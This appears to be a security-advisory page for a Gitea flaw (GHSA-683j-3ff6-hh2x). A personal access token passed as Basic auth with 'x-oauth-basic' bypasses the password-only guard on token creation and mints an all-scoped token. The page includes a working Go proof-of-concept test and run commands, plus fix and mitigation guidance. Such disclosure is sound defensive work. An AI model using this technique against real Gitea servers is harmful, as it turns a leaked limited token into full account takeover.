Gitea: Privilege Escalation via Access Token Scope Escalation in APIGHSA-683j-3ff6-hh2x
Fix: go-gitea/gitea#38406GHSA-683j-3ff6-hh2x is a CWE-284 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-683j-3ff6-hh2x.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.
Data flow
Step 1 - Token extracted from Basic auth header
When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:
VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):
Step 2 - AuthedMethod is set to "basic", not "access_token"
Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:
Step 3 - IsBasicAuth is incorrectly set to true
AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:
Step 4 - The guard is bypassed
reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:
Step 5 - No scope ceiling in the handler
CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):
Reproducing
tests/integration/api_token_scope_escalation_test.go
package integration
import (
"net/http"
"testing"
auth_model "gitea.dev/models/auth"
"gitea.dev/models/unittest"
user_model "gitea.dev/models/user"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
// the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
// handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
// even though the credential is a token, not a password.
//
// 2. CreateAccessToken performs no scope-ceiling check — it never verifies that
// the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Non-admin user — escalation is meaningful and not trivially justified.
user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
// Only write:user scope is granted; repository, admin, etc. are excluded.
restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
defer deleteAPIAccessToken(t, restrictedToken, user)
// Confirm the restricted token is blocked from repository-scoped endpoints.
// This establishes the baseline: write:user does not imply read:repository.
req := NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(restrictedToken.Token)
MakeRequest(t, req, http.StatusForbidden)
// Step 2 — Exploit: supply the restricted token as Basic auth credentials.
// Authorization: Basic base64("<token>:x-oauth-basic")
//
// Basic.Verify() validates the token and returns the user. group.Verify() then
// sets AuthedMethod="basic" (the method name). auth.go maps that to
// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
// password was provided. CreateAccessToken then creates the token with the
// requested "all" scope without checking whether it exceeds the caller's scope.
payload := map[string]any{
"name": "poc-escalated",
"scopes": []string{"all"},
}
req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")
// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
// but is currently 201, confirming the vulnerability.
resp := MakeRequest(t, req, http.StatusCreated)
escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
require.NotNil(t, escalatedToken)
defer deleteAPIAccessToken(t, *escalatedToken, user)
// Step 3 — The escalated token carries the "all" scope.
assert.Contains(t, escalatedToken.Scopes, "all",
"escalated token scope must be 'all'; original token only had write:user")
// Step 4 — The escalated token can now reach endpoints blocked to the original
// token, confirming real privilege gain beyond write:user.
req = NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(escalatedToken.Token)
MakeRequest(t, req, http.StatusOK)
}
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.
go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/
A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0go get code.gitea.io/gitea@v1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-683j-3ff6-hh2x is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Important: An authenticated attacker with a limited-scope API token in Gitea could escalate their privileges. This is due to a flaw in how Gitea's API processes basic authentication with tokens, allowing the creation of new tokens with elevated scopes beyond the original token's permissions. Red Hat OpenShift…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-683j-3ff6-hh2x (CC BY 4.0)
Frequently Asked Questions
Is GHSA-683j-3ff6-hh2x in your dependencies?
Find it across Go, including transitive dependencies.